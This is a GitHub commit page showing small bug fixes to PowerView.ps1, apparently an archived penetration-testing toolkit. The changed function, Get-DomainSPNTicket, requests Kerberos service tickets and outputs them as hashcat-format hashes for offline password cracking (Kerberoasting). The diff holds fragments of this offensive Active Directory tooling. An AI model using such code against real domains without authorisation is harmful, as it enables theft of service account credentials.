Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 9ea5c5b

Browse files
committed
Couple of fixes for Get-DomainSPNTicket
1 parent 215ec25 commit 9ea5c5b

File tree

1 file changed

+10
-6
lines changed

1 file changed

+10
-6
lines changed

Recon/PowerView.ps1

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -2296,8 +2296,8 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
22962296
}
22972297
else {
22982298
$UserSPN = $Object
2299-
$SamAccountName = $Null
2300-
$DistinguishedName = $Null
2299+
$SamAccountName = 'UNKNOWN'
2300+
$DistinguishedName = 'UNKNOWN'
23012301
}
23022302

23032303
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
@@ -2309,7 +2309,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
23092309
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
23102310
}
23112311
catch {
2312-
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName'"
2312+
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
23132313
}
23142314
if ($Ticket) {
23152315
$TicketByteStream = $Ticket.GetRequest()
@@ -2330,15 +2330,19 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
23302330
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
23312331
}
23322332
else {
2333-
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2333+
if ($DistinguishedName -ne 'UNKNOWN') {
2334+
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2335+
}
2336+
else {
2337+
$UserDomain = 'UNKNOWN'
2338+
}
23342339

23352340
# hashcat output format
23362341
$HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
23372342
}
23382343
$Out | Add-Member Noteproperty 'Hash' $HashFormat
23392344
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
23402345
Write-Output $Out
2341-
break
23422346
}
23432347
}
23442348
}
@@ -5785,7 +5789,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
57855789
}
57865790
if ($PSBoundParameters['SPN']) {
57875791
Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
5788-
$Filter += '(servicePrincipalName=$SPN)'
5792+
$Filter += "(servicePrincipalName=$SPN)"
57895793
}
57905794
if ($PSBoundParameters['OperatingSystem']) {
57915795
Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"

0 commit comments

Comments
 (0)